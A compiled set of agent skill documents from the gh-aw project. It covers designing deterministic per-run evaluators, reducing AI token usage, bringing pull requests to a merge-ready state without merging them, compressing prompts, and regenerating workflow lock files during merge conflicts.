- If an eligible subject existed and evidence proves that no action was correct, restraint may score `1`.
- Silence, empty output, or an expected historical work rate never proves correct restraint.

### 3. Define applicable runs and evidence

State:

- which runs present a real opportunity for value;
- which evidence proves success;
- which evidence proves a miss;
- when evidence is unavailable and must produce `null`;
- how explicit noop behavior is distinguished from silent failure.

Use only evidence attributable to the run or its subject. Avoid repository-wide changes that could have been caused by unrelated work. Do not add historical replay, maturity periods, baselines, provenance schemas, caches, or opportunity identifiers unless the workflow's own metric genuinely requires them.

The function must be actor-independent: identical accepted evidence must receive the same score whether it was produced by this agent, another engine, a person, or deterministic automation. Agent identity, tool choice, and execution trace are not operands unless the workflow explicitly tests that capability.

Prefer evidence in this order:

1. the event payload and run subject;
2. already materialized workflow inputs, outputs, and safe-output requests;
3. repository state at the run SHA;
4. narrowly scoped GitHub API reads needed to fill a specific gap.

Do not re-fetch data already captured with sufficient fidelity. For batch workflows, define the eligible set and denominator from one consistent snapshot. Do not use historical expectations, another model's findings, the evaluator's own output, or the workflow's confidence as ground truth.

Whenever the metric judges a workflow decision, derive the expected decision independently from source evidence and compare it with the observed workflow request. Do not accept the workflow's explanation as proof that its decision was correct. Existing `evals` are evidence only for the exact predicate they evaluate; an eval that checks whether output exists does not prove that output is accurate.

When evidence sources conflict, apply an explicit precedence justified by the workflow or return `null`; never choose whichever source produces a better score. Validate current-run caches and precomputed files for their expected completion marker, count, or schema before using them. If an expected batch snapshot is missing, stale, truncated, capped, or only partially parsed, return `null` rather than silently shrinking the denominator. Apply intentional eligibility filters before fixing the denominator, then count every eligible item whether processed or missed.

A declared sampling rule bounds the selected set; items outside that intentional sample are not misses. An execution safety cap does not shrink the eligible denominator: score the complete eligible set when evidence supports it, or return `null` when the cap prevents complete evaluation. Within the selected set, compare the complete expected action set with the complete observed request set. This is mandatory for destructive actions such as closing, deleting, relabeling, or superseding items: an unjustified extra mutation is a miss, not partial credit.

For time-based eligibility, use one declared UTC reference instant and define every boundary as inclusive or exclusive. Do not round to dates, use the evaluator's wall clock, or tolerate clock skew unless the workflow explicitly declares that behavior.

Treat thresholds, tolerances, and policy cutoffs as authoritative only when the workflow or a referenced policy declares them. Do not infer a regression threshold from noisy measurements, tune it against the current result, or invent a historical baseline. If a declared benchmark cannot be reproduced under its required environment and inputs, return `null`.

Treat retries and repeated schedules as independent runs unless deduplication or idempotence is part of the workflow's stated goal. When it is, independently verify that the repeat should act or noop from current evidence; do not add a generic cross-run identity system.

For experiment variants, apply the same acceptance function to the declared subject and variant. Grade the current run's outcome, not whether its variant beat another run, unless the workflow supplies a complete fixed comparison dataset and deterministic decision rule at the grading boundary.

If intended value depends on future events or human judgment unavailable during the run, do not invent a maturation window or silently substitute engagement. Preserve the downstream goal in the design, state the missing evidence, then measure the strongest independently checkable precursor available now and name it honestly. Return `null` when no meaningful deterministic per-run outcome can be observed.

Dependency failure is `null` when it prevents evidence collection for some other goal. It is `0` when the dependency or permission is itself the capability under test, such as an authentication smoke test.

### 4. Respect the grading boundary

The evaluator runs once for the current workflow run. It does not wait for future acceptance, replay history, or revise an observation later. Safe-output requests may be graded before the requested GitHub mutation is applied.

Therefore:

- never claim that an issue, pull request, comment, label, or release exists merely because the agent requested it;
- grade the requested action and its content when application has not yet occurred;
- for chained dispatches or downstream workflows, grade only the current run's verifiable dispatch request unless a completed downstream effect is already part of current-run evidence;
- use a durable repository effect only when evidence proves it already occurred;
- describe proposed code changes as requested patches until merge or application is already proven;
- do not query future commits, later incidents, subsequent human reactions, or historical trend windows;
- keep delayed adoption, long-term quality, and causal impact outside the per-run metric.

When the long-term goal cannot be observed yet, name the immediate metric precisely, such as `actionable-refactor-request` rather than `file-decomposed`.

### 5. Research domain conventions only when needed

If the workflow does not make a direct metric clear, inspect at most three targeted external sources for established definitions, denominators, and known measurement failures in that domain. Prefer primary standards, official documentation, and peer-reviewed or widely accepted technical references. Stop when one authoritative definition and its main failure mode are understood; broad literature review is not part of this task.

External research may refine what to measure; it must not:

- override the workflow's stated intent;
- import an industry benchmark without checking that it fits this workflow;
- turn correlation into attribution;
- make external web data a runtime dependency when repository or GitHub evidence is sufficient;
- justify an activity proxy because it is easy to count.

Adopt an external definition only when all operands and ground truth are observable at the per-run grading boundary. For example, a standard may identify precision and recall as useful dimensions, but neither is a valid per-run metric without independently known true and false cases.

When research is used, add a short research note to the design table: source URL, definition considered, what was adopted or rejected, and why. Record a source in evaluator comments only when it materially affects the implemented formula. Runtime grading must remain deterministic from the request, repository state, declared GitHub access, and workflow outputs; it must never browse the web for metric design.

When live external data is itself the workflow's declared subject, such as a model or service inventory, use the workflow's captured response or the narrow declared authoritative API as evidence. Pin the endpoint and required fields in the design, validate completeness, and return `null` on unavailable, truncated, or incompatible responses; do not substitute search results or design-time research.

### 6. Choose the smallest useful metric set

Choose one primary metric that answers the intent sentence directly. Use a precise domain name such as `eligible-issues-triaged`, `security-review-policy-conformance`, or `release-request-valid`, not `operational-value` or `success`. Do not name a metric after a stronger claim than its evidence proves.

Add a diagnostic only when it explains a distinct failure mode and can change an operational decision. Do not combine unrelated outcomes into a weighted score merely to produce one number. If the workflow has independent goals, select the one declared as primary or report the ambiguity.

Use the simplest defensible formula:

- a raw count, amount, duration, or other domain quantity in its native unit;
- a fraction or proportion with an explicit numerator and denominator for sets;
- continuous progress in the workflow's declared unit;
- binary `0` or `1` only when the valuable outcome is genuinely atomic and has no meaningful magnitude;
- `null` when applicability or evidence cannot be established.

For proportions, define every numerator and denominator term and prevent missing items from disappearing from the denominator. A quality metric requires independent acceptance criteria or ground truth; the workflow cannot grade its own judgment by counting its findings.

Preserve the metric's native numeric scale. Do not normalize, clamp, rescale, or reduce an operational quantity to pass/fail merely to fit `[0,1]`. Values may be fractional, negative, or greater than one when the declared unit and formula give those values meaning. A ratio is appropriate only when the metric is inherently a ratio. Declare `unit` and `direction` so consumers can interpret and compare the raw value without transforming the stored observation.

Translate qualitative words such as “actionable,” “correct,” “relevant,” “complete,” and “high quality” into deterministic predicates grounded in the workflow Markdown. For example, an actionable incident report might require the triggering environment, a failing step, linked evidence, and a concrete remediation. If semantic correctness cannot be determined without another model or later human judgment, narrow the metric to the strongest deterministic claim available, such as `required-incident-analysis-present`, and state that limitation in the design table.

For creative or aesthetic goals with no objective acceptance criteria, do not manufacture operational value from length, output existence, or model ratings. Measure only explicit structural or target-binding requirements under a narrowly named metric, or report that no meaningful deterministic grader can be designed.

Validation supports only the property it checks. A passing formatter proves formatting, a focused test proves the tested behavior, and a successful build proves buildability; none alone proves semantic improvement or absence of regressions. Name the metric after the verified property and include every workflow-required check in the expected decision.

Set `direction` to `higher_is_better` or `lower_is_better` according to the metric's native meaning. Keep a metric ID stable while it continues to describe the same outcome and unit.

Freeze the metric prospectively to prevent hindsight bias:

- choose the formula, thresholds, evidence rules, and fixtures before inspecting any scored outcomes;
- commit the workflow and its inline evaluator, or the workflow and referenced evaluator file, together; that commit is the adoption point for the pair;
- treat the evaluator as read-only while the workflow's intent and acceptance criteria are unchanged;
- when those workflow semantics change, update the workflow and evaluator together at the same path and commit; the new pair applies only to future runs;
- allow an evaluator-only defect correction only prospectively, without changing or regrading prior results;
- retain the metric ID when the measured outcome still means the same thing; choose a new descriptive ID only when the outcome itself changes;
- score each run with the evaluator bytes and configuration frozen into that run. Never move adoption backward or tune a function against observed scores.

The workflow commit and evaluator digest preserve each historical pair, including inline Bash extracted from the committed Markdown. The current evaluator may replace the old one in the same field or path. Do not add versioned filenames, registries, or a second provenance service.

### 7. Implement the evaluator

Use Bash 3.2-compatible Bash and `jq`. The evaluator runs once, accepts no mode arguments, reads one request from stdin, and writes one result to stdout.

Input:

```json
{
  "schemaVersion": 1,
  "run": {
    "id": "12345",
    "attempt": 1,
    "repository": "OWNER/REPO",
    "workflow": "Workflow name",
    "ref": "refs/heads/main",
    "sha": "...",
    "eventName": "issues"
  },
  "event": {},
  "outputs": [],
  "config": {}
}
```

`outputs` contains the current run's validated safe-output requests from `agent_output.json`. Treat them as requested actions, not proof that the corresponding GitHub mutations were applied.

Output:

```json
[
  {"id": "domain-primary-metric", "value": 0.75},
  {"id": "optional-diagnostic", "value": null}
]
```

The output must be one non-empty ordered array. The first item is primary. Later items are optional diagnostics. Every object must contain exactly `id` and `value`; IDs must be non-empty and unique; values must be finite numbers or `null`. The runtime preserves each numeric value exactly; it does not normalize operational values.

The evaluator must:

- consume stdin once and write only the metric array to stdout;
- write human-readable diagnostics to stderr;
- return the same result for the same evidence;
- use `null`, not zero, for missing or malformed required evidence;
- request no more GitHub permissions or API calls than its evidence requires;
- avoid network calls when local event, repository, or workflow-output evidence is sufficient.
- consume existing validation artifacts instead of repeating expensive builds, browsers, services, or scans;
- never invoke another model or agent to grade the workflow's model or agent output.

### 8. Verify and review

Run:

```bash
.github/skills/operational-value-designer/scripts/verify-operational-value-contract-change.sh BASE-REF
# File-backed evaluator:
.github/skills/operational-value-designer/scripts/verify-operational-value-evaluator.sh \
  .github/graders/WORKFLOW-NAME-operational-value.sh \
  .github/graders/WORKFLOW-NAME-operational-value.fixtures.json
# Both forms:
gh aw compile .github/workflows/WORKFLOW-NAME.md
```

Review the design against these checks:

- The intent sentence describes an outcome, not activity.
- The outcome ladder starts from the ultimate goal rather than the configured output type.
- The primary metric uses the furthest downstream effect that is currently observable, attributable, and independently verifiable.
- Any fallback to a precursor states exactly why a stronger downstream effect cannot be measured at the grading boundary.
- Missing evidence for the selected rung returns `null`; it never causes runtime fallback to a weaker rung.
- The unit of evaluation is explicit and matches the workflow's actual subject.
- The primary value remains in its native unit and scale rather than being normalized or collapsed to pass/fail.
- The declared direction matches whether larger or smaller native values are better.
- The primary metric directly answers that sentence.
- Applicable, successful, missed, correct-restraint, and unavailable cases are distinguishable.
- Evidence is attributable to the run or its subject.
- The metric uses only evidence available at the grading boundary and does not treat requested safe outputs as applied mutations.
- Identical accepted evidence scores identically regardless of actor or engine.
- Zero means observed non-attainment; `null` means no opportunity or unavailable evidence.
- The denominator cannot silently reward skipped or missing work.
- Diagnostics are independently useful and do not duplicate the primary metric.
- The workflow and evaluator were adopted together, and neither the function nor prior results were changed retroactively.
- External research, if used, changed a definition rather than adding prestige or complexity.
- The evaluator makes the minimum necessary API calls.
- The output is only an ordered array of exact `{id,value}` objects.
- Exact fixtures prove attained scores above missed, unavailable and malformed evidence return the declared result, and repeated evaluation is deterministic.

<!-- chapter:end slug=operational-value-designer -->

---

<!-- chapter:begin slug=optimize-agentic-workflow position=44 -->

## 44. optimize-agentic-workflow

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/optimize-agentic-workflow/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/optimize-agentic-workflow/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/optimize-agentic-workflow.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: optimize-agentic-workflow
description: Analyze and reduce token consumption in agentic workflows — guardrail-specific entry points, measurement, and optimization techniques.
---

# Agentic Workflow Token Optimizer

Help users reduce the AI token usage and cost of GitHub Agentic Workflows in this repository.

## Load These References First

Load these files from `github/gh-aw` (they are not available locally).

- `.github/aw/github-agentic-workflows.md`
- `.github/aw/token-optimization.md`
- `.github/aw/workflow-editing.md`
- `.github/aw/syntax.md`

Load these only when relevant:

- `.github/aw/experiments.md`
- `.github/aw/safe-outputs.md`

## Available Commands

```bash
gh aw audit <run-id> --json
gh aw audit <base-run-id> <optimized-run-id>
gh aw logs <workflow-name> --json
gh aw compile <workflow-name>
gh aw status
```

## Start the Conversation

Ask for one of these inputs:

- a workflow run URL (or run ID) to analyze
- a workflow name to review the source
- the guardrail that was exceeded (max-ai-credits, max-daily-ai-credits, max-tool-denials, max-turns / timeout)

## Fast Path: Run URL Provided

If the user gives a GitHub Actions run URL:

1. Extract the run ID
2. Run `gh aw audit <run-id> --json`
3. Inspect `agent_usage.aic`, `agent_usage.input_tokens`, `agent_usage.output_tokens`, `agent_usage.cache_read_tokens`
4. Identify the most expensive phases before asking additional questions

## Guardrail-Specific Entry Points

### `max-ai-credits` exceeded

The workflow was stopped because it consumed more AI Credits than the configured per-run budget.

Priority checks:
1. Which tool calls dominated token usage? (`token-usage.jsonl`)
2. Is the prompt front-loading large payloads that could be fetched on demand?
3. Are there repetitive extraction steps that sub-agents could handle cheaply?
4. Does the frontier model handle tasks that a small model could do?

### `max-daily-ai-credits` exceeded

The workflow is being blocked because its 24-hour AI Credits budget is exhausted.

Priority checks:
1. What is the run cadence? (scheduled too frequently?)
2. Does the workflow use cheap triage before escalating to the frontier model?
3. Is batching or caching applicable to reduce run frequency?
4. Are there noop early-exits for events that do not require agent action?

### `max-tool-denials` exceeded

The Copilot SDK hit the tool-denial threshold, indicating the prompt attempted actions outside the allowed tool policy.

Priority checks:
1. What tool was repeatedly denied? (last denied reason in the failure issue)
2. Is the tool missing from the workflow's permissions/firewall config?
3. Can the prompt be revised to avoid the denied operation entirely?
4. Would a DataOps pre-step satisfy the data need without a tool call?

### Timeout / `max-turns` exceeded

The agent ran out of time or turns before completing the task.

Priority checks:
1. Is the task decomposable into smaller, faster sub-tasks?
2. Are there long-running tool calls that could be replaced with DataOps pre-steps?
3. Is the prompt asking the agent to do too much in one run?
4. Can `max-turns` or `timeout-minutes` be raised, or should the task be split?

## Optimization Analysis Plan

After measuring token usage, produce a prioritized plan:

1. **Measure** — run `gh aw audit <run-id> --json` and summarize AI Credits and per-call token breakdown
2. **Diagnose the harness** — classify failures across context assembly, tool interaction, generation control, orchestration, memory management, and output processing
3. **Identify top cost drivers** — list the three most expensive phases/tool calls
4. **Apply quick wins first** — DataOps pre-steps, `gh-proxy`, `cli-proxy`, prompt trimming
5. **Sub-agent delegation** — identify repetitive per-item loops suitable for small-model workers
6. **Reuse execution experience** — preserve compact task features, configuration deltas, outcomes, costs, and diagnoses in `cache-memory` when cross-run reuse is useful; apply relevant recurring patterns to similar cases
7. **Prompt caching** — verify stable instructions and reusable experience appear before dynamic content
8. **Experiment correctness first** — add an `experiments:` entry, compare output quality first, and use `metric: "aic"` to choose among equivalent-quality variants
9. **Validate quality** — confirm the optimized run produces equivalent safe outputs

Present the plan clearly before making any edits. Confirm with the user before applying changes.

## Editing Workflow

1. Edit `.github/workflows/<workflow-name>.md`
2. Recompile: `gh aw compile <workflow-name>`
3. Commit both the source and the generated `.lock.yml`
4. Report the estimated savings and link to the PR or commit

<!-- chapter:end slug=optimize-agentic-workflow -->

---

<!-- chapter:begin slug=pr-finisher position=45 -->

## 45. pr-finisher

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/pr-finisher/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/pr-finisher/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/pr-finisher.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: pr-finisher
description: Prepare an open pull request for merge from a GitHub Copilot cloud agent. Drives Reviews, local validation, and Mergeable to a ready state. Does not merge, and cannot trigger CI.
---

# PR Finisher

Drive an open PR for the current branch to a merge-ready state from a **GitHub Copilot cloud agent**. **Do not merge.** When everything you can act on is done, report ready-for-human-merge and stop.

## Execution context

This skill runs inside a GitHub Copilot cloud agent, not on a developer's machine.

- **The agent's pushes do not trigger CI.** Workflows on the PR will not re-run after the agent commits. Any existing `statusCheckRollup` reflects an earlier HEAD and goes stale the moment the agent pushes.
- **Commit and push on every iteration that changes files.** Changes that are not pushed are not available to the user.
- **Local `make` targets are the agent's authoritative correctness signal** before push. CI is observational only.
- **Re-running CI is a hand-off to a human** (close/reopen the PR, `workflow_dispatch`, or a push from a maintainer). The agent must surface this in its summary.
- **No watch / no sleep loops.** The agent has no async wait state; one pass + summary + stop.

## Three merge-ready conditions

A PR is merge-ready when **all three** are satisfied. Work them **concurrently**.

| Condition | Definition | Agent's signal |
|---|---|---|
| **Reviews** | Every unresolved in-scope review thread is addressed on its merits, replied to, and resolved, including GitHub Actions bot threads/comments (`github-actions[bot]`). Code changes alone do not satisfy this. Threads where Copilot has already replied with a substantive answer must be resolved before delegating to `copilot-review`. | `copilot-review` skill + GraphQL `reviewThreads` |
| **Checks** | Local `make fmt` / `make lint` / `make test-unit` / `make test` pass. Last-known CI runs reviewed at log level. | `make` targets locally; `gh pr checks` / `gh run view --log-failed` for prior runs |
| **Mergeable** | PR is OPEN, not draft, `mergeable: MERGEABLE`, not `BEHIND` if the repo requires up-to-date branches. | `gh pr view --json mergeable,mergeStateStatus,state,isDraft` |

Because the agent cannot re-trigger CI, "Checks" is satisfied at the agent's level when **local validation passes and prior CI failures have been root-caused and fixed in the pushed commits**. Final green CI requires a human to re-trigger after the agent stops.

Top-level PR comments and review bodies are useful feedback but **not** a merge gate. Read and action useful ones; do not block on them.

## Hard rules

- **Autopilot mode**: Never ask for confirmation before taking action. Never prompt with "Should I proceed?", "Do you want me to…?", or any equivalent. Always act immediately and autonomously.
- **Do not merge.** Never run `gh pr merge`, enable auto-merge, or enqueue. This skill stops at "ready for merge."
- **Do not post stand-alone PR comments.** Only reply on existing review threads / comments that need a response. Do not ping reviewers or CODEOWNERS.
- **Always disable pagers** for `gh`: prefix with `GH_PAGER=""` or pipe through `cat`. Without this, commands hang in non-interactive shells.
- **Read PR state once per pass and reuse it.** Cache the initial `gh pr view` payload in a local snapshot file and use `jq` against that file until you perform an action that can change PR state (for example: push, update branch, resolve conflicts). Do not re-run overlapping `gh pr view` calls within the same unchanged turn sequence.
- **Ignore platform-managed bot PRs by default.** Stop without updating PRs authored by `dependabot[bot]`, `app/dependabot`, `renovate[bot]`, or another unrecognized bot unless the user explicitly asks to handle that bot. Continue for trusted GitHub automation such as `app/github-copilot` and `github-actions[bot]`.
- **Never wait for CI to re-run.** No `bash sleep`, no `gh run watch`, no `gh pr checks --watch`, no re-check loop after push. The agent's pushes will not trigger workflows; waiting is futile.
- **Local validation is non-negotiable before each push.** Because CI will not re-run, the only correctness gate the agent gets is `make ...` locally. Treat a green local run as the bar.
- **Commit and push every iteration that produces file changes.** Unpushed changes are not visible to the user.
- **Reviews are not done until reply + resolve both succeed.** Code change alone ≠ thread handled.
- **Smallest fix that works.** Don't change unrelated code. Fix lint before tests.
- **Pre-existing unrelated failures** → identify explicitly in the summary; do not guess-fix.

## CI-fix anti-patterns (do not do these)

A failing CI step is a signal, not a nuisance. Even though the agent cannot re-run CI to confirm, the following are **forbidden** and should trigger `ask_user` instead:

- Disabling, skipping, or neutering shared tooling (build caches, lint rules, type checks, env vars, required checks) to make a failure go away.
- "Temporary" disables with a TODO to re-enable later. They outlive the PR and become permanent.
- Lowering coverage thresholds, removing assertions, or loosening a test until it passes. If the test is wrong about product behavior, fix its **logic** (assertions, fixtures, setup); don't relax it.
- Bundling a workaround with a real fix ("belt and suspenders"). Ship one real fix or escalate. Never both.
- Special-casing one OS/runner to hide a failure on that platform.

**Anti-pattern test:** if the change would make the failure invisible on future PRs without solving it, stop and escalate.

**Before declaring a tool broken on a platform:** reproduce locally, check version/config, look for transient causes (timeouts, network, runner state). Most "X is broken on macOS/Windows" reports are transient flakes on healthy tooling.

**For flaky infra** (caches, registries, runners): prefer narrow fixes — targeted retry, higher timeout, pre-flight health check. If a narrow fix doesn't land in one or two attempts, escalate via `ask_user`.

## Workflow

The agent runs this once. There is no monitoring loop.

### 1. Triage

```bash
mkdir -p /tmp/gh-aw/pr-finisher
PR_SNAPSHOT=/tmp/gh-aw/pr-finisher/pr-state.json
GH_PAGER="" gh pr view <number> --json author,state,isDraft,reviewDecision,mergeable,mergeStateStatus,statusCheckRollup,headRefOid,reviews,reviewThreads,comments > "$PR_SNAPSHOT"
GH_PAGER="" gh pr checks <number>
```

If merged/closed, report and stop. Also stop if the author is a platform-managed dependency bot or another unrecognized bot, unless the user explicitly requested handling that bot-authored PR. This author gate is independent of reviewer eligibility. Otherwise classify each condition as ✅ / ❌ / ⏳ / ❓ using the snapshot file plus `gh pr checks`. The CI snapshot here is your **only** view of CI for this run — capture which checks failed and why before changing anything, because after you push it will be stale.

### 2. Address Reviews

#### 2a. Resolve Copilot-answered threads

Before delegating to `copilot-review`, find review threads where Copilot has already replied with a substantive answer but the thread has not yet been marked as resolved. Resolve those threads immediately — no code changes are needed for them.

```bash
# Identify unresolved threads that already have a Copilot reply
jq '.reviewThreads[]? | select(.isResolved==false) | select(any(.comments[]?; .author.login == "app/github-copilot" or (.author.login | test("copilot"; "i"))))' "$PR_SNAPSHOT"
```

For each such thread:
- Confirm the Copilot reply is substantive and actually addresses the concern (not merely an acknowledgment or partial response).
- If the reply fully addresses the concern, resolve the thread.
- If the reply is incomplete or the concern is not satisfied, treat the thread as still open and address it in step 2b below.

#### 2b. Address remaining unresolved threads

Delegate to the `copilot-review` skill and treat that delegation as mandatory, not optional. Insist on full handling of each remaining unresolved in-scope thread (including `github-actions[bot]`): make change → run relevant local validation → commit → push → reply → resolve. A thread is not handled until reply + resolve both succeed.

Before editing, reuse the triage snapshot instead of fetching the same PR again:

```bash
jq '{reviews,reviewThreads,comments}' "$PR_SNAPSHOT"
jq '.reviewThreads[]? | select(.isResolved==false)' "$PR_SNAPSHOT"
```

When reviewing collected feedback, apply reviewer scoping from `copilot-review`: trusted automation and team/collaborator reviewers only. Ignore non-team-member feedback.

### 3. Address Mergeable

```bash
jq '{state,isDraft,mergeable,mergeStateStatus,reviewDecision,headRefOid}' "$PR_SNAPSHOT"
```

- `CONFLICTING` → resolve conflicts using the repo's conventions. If you cannot determine the correct resolution, `ask_user`.
- `mergeStateStatus: BEHIND` → update branch from base. After updating, scan the new commits for tooling drift (lockfiles, toolchains, lint configs); re-run installs if manifests changed, and flag drift in the summary so any new errors read as drift, not regressions.
- Refresh `PR_SNAPSHOT` only after you perform a state-changing action that can invalidate it. Otherwise keep reusing the original file for the rest of the pass.

### 4. Address Checks (local + prior CI)

**Local validation** — the agent's only correctness signal. Run in order; fix at each step before moving on:

```bash
make fmt
make lint
make test-unit
make test
make recompile
```

If a `make test` fix changes wasm compiler output, or wasm golden tests fail:

```bash
make update-wasm-golden
```

Then re-run the affected tests.

**Prior CI failures** — for each failure captured during triage, pull logs and fix the root cause:

```bash
GH_PAGER="" gh run view <run_id> --log-failed
```

Classify as: real product/test bug, infra flake, or third-party flake. Apply the fix in the agent's commits and, where possible, **reproduce the fix locally** via the matching `make` target. If the failure can't be reproduced locally (infra-only), state that in the summary so the human re-triggers CI with eyes open. Per anti-pattern rules: 1–2 narrow attempts, then `ask_user`.

### 5. Commit, push, and stop

After each iteration that changes files, commit and push immediately. Before stopping, ensure there are no uncommitted or unpushed changes left. **Do not re-check `gh pr checks` expecting a new run.** Print the summary and stop.

## Summary format

At the stopping point, print:

```
- ✅ Reviews — <plain language>
- ✅ Checks (local) — <plain language>
- <status> Checks (CI) — stale after agent push; needs human re-trigger. Prior failures: <fixed | open | not reproducible locally>
- ✅ Mergeable — <plain language>

Actions taken: <what changed in this run>
Hand-off: CI must be re-triggered by a maintainer (close/reopen PR, workflow_dispatch, or push) before merge.
Still needed: <human review, anything not actionable from the agent>
```

Status vocabulary:
- ✅ satisfied — checked and passing
- ❌ failing — checked and failing
- ⏳ pending — running, waiting for signal (rare for the agent; never use for the post-push CI state)
- ❓ unknown — could not be checked (API error, indeterminate, or CI stale after agent push). Never use ❌ for this.

**Translate status into plain language.** Don't write bare labels. Always state explicitly that CI on the agent's HEAD is unverified until a human re-triggers it.

## Stopping conditions

- **Ignored bot-authored PR** — platform-managed dependency bot or another unrecognized bot, without an explicit user request to handle it. Report no action and stop.
- **Ready for merge (pending human CI re-trigger)** — local validation green, Reviews resolved, Mergeable clean. Summarize and stop.
- **Nothing actionable remains** — non-actionable blocker (human approval, external service). Summarize and stop.
- **Truly stuck** — unresolvable conflicts, ambiguous feedback, irreproducible failures. `ask_user` with context.

## Completion standard

For eligible PRs, the task is complete only when all are true:

- `make fmt`, `make lint`, `make test-unit` all pass (or unrelated pre-existing failures explicitly identified).
- The PR author passed the bot eligibility check, or the user explicitly requested handling that bot-authored PR.
- `make test` was run and fixed when it was part of the failing state; wasm goldens regenerated when required.
- The `copilot-review` skill addressed all in-scope review threads, including GitHub Actions bot review comments/threads (`github-actions[bot]`) (reply + resolve succeeded for each).
- Review threads where Copilot had already replied with a substantive answer were resolved (step 2a) before delegating unresolved threads to `copilot-review` (step 2b).
- Mergeable condition was checked; conflicts resolved and `BEHIND` updated when present.
- Prior CI failures were inspected at the log level and either fixed at the root cause (with a local reproduction where possible) or explicitly flagged as not locally reproducible / escalated.
- Every iteration that changed files was committed and pushed, and no local changes were left unpushed at stop. No post-push re-check loop.
- A structured ✅/❌/⏳/❓ summary was printed, including an explicit hand-off line for the human CI re-trigger.
- No `gh pr merge` was run.

<!-- chapter:end slug=pr-finisher -->

---

<!-- chapter:begin slug=prompt-token-efficiency position=46 -->

## 46. prompt-token-efficiency

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/prompt-token-efficiency/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/prompt-token-efficiency/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/prompt-token-efficiency.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: prompt-token-efficiency
description: Rewrite prompts for minimal tokens, maximal clarity, and low ambiguity for LLM consumption.
---

# Prompt Token Efficiency

Use this skill to compress prompts while preserving intent and output quality.

## Goals

1. Minimize token count
2. Maximize clarity
3. Minimize ambiguity
4. Optimize for LLM execution, not human prose style

## Core Rules

- Keep only task-critical information.
- Remove pleasantries, repetition, and narrative framing.
- Prefer short, concrete instructions over descriptive paragraphs.
- Use explicit constraints and output format requirements.
- Use stable terminology (one term per concept).
- Replace vague words (`appropriate`, `some`, `better`) with measurable criteria.
- Put required context before optional context.
- Avoid conflicting instructions.

## Prose Compression Pattern

Rewrite prose to be direct and compact:

1. Start with the objective in one short sentence.
2. Keep only facts needed to complete the task.
3. Replace long qualifiers with concrete limits.
4. Remove filler words that do not change behavior.
5. End with explicit success criteria.

## LLM-Optimized Writing Style

- Use imperative statements.
- Prefer bullets over long prose.
- Keep each instruction atomic.
- Avoid examples unless needed to prevent failure.
- If examples are required, include one minimal example.

## Ambiguity Checks

Before finalizing a prompt, verify:

- Any undefined noun is resolved.
- Any pronoun has a clear antecedent.
- Scope limits are explicit (time range, file range, quantity limits).
- Success criteria are testable.
- Output format is unambiguous.

## Prose Rewrite Checks

When rewriting, ensure the final prompt:

- Uses fewer words than the original.
- Preserves all required constraints.
- Uses concrete nouns instead of pronouns where possible.
- Avoids optional wording unless options are actually allowed.
- States required output and any length bound in plain language.

<!-- chapter:end slug=prompt-token-efficiency -->

---

<!-- chapter:begin slug=resolve-merge-conflicts position=47 -->

## 47. resolve-merge-conflicts

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/resolve-merge-conflicts/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/resolve-merge-conflicts/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/resolve-merge-conflicts.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

Bundled files (1), referenced from this skill's directory:
  - `resolve.sh` — https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/resolve-merge-conflicts/resolve.sh

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: resolve-merge-conflicts
description: Merge a base ref and safely regenerate compiled workflow lock-file conflicts.
tools:
  bash:
    - "./.github/skills/resolve-merge-conflicts/resolve.sh *"
    - "git diff *"
    - "git status *"
---

# Resolve Merge Conflicts

Use this skill when merging `origin/main` into a branch, especially when the
only conflicts are generated `.github/workflows/*.lock.yml` files.

## One-step path

From the repository root, run:

```bash
./.github/skills/resolve-merge-conflicts/resolve.sh origin/main
```

The command works both before a merge and after another command has stopped on
conflicts. It:

1. Starts the merge with `--no-commit`, or resumes the current merge.
2. Refuses to auto-resolve if any conflict is not a workflow `.lock.yml`.
3. Scans `.github/workflows/*.md` for leftover conflict-marker lines
   (`<<<<<<<`, `|||||||`, `=======`, `>>>>>>>`) and aborts before compiling
   if any are found — see "Why the marker scan matters" below.
4. Runs `make recompile` once so generated files come from the merged Markdown.
5. Stages the regenerated conflicting lock files.
6. Verifies that no unresolved paths or whitespace errors remain.

The script does not fetch, commit, push, abort, or edit workflow Markdown.
Refresh `origin/main` first only when credentials are available. After success,
review the staged merge, run the repository's final validation gate, then
commit and push.

## Why the marker scan matters

A source `.md` conflict resolved manually (by a human or an agent) can leave
a stray conflict-marker line behind — most often the rarely-noticed
`||||||| base (original)` diff3 marker — inside a workflow's YAML
frontmatter. `git diff --check` only inspects lines touched by the current
diff/staged hunks, so a marker already committed in otherwise-unchanged file
content passes silently. The gh-aw compiler then parses the marker text as a
literal YAML header option (e.g. `invalid header option: "|||||| base
(original)"`), which fails compilation later — often in an unrelated
scheduled recompilation run, far from the original merge, making the root
cause hard to trace back.

Run the standalone check any time you suspect a workflow `.md` file went
through manual conflict resolution, even outside this script's merge flow:

```bash
./.github/skills/resolve-merge-conflicts/resolve.sh --verify-markers
```

It exits non-zero and lists the offending file(s)/line(s) if any marker is
found, and does not modify the working tree.

## Safety rules

- Never choose `ours` or `theirs` for compiled lock files; regenerate them.
- Never manually remove conflict markers from `.lock.yml` files.
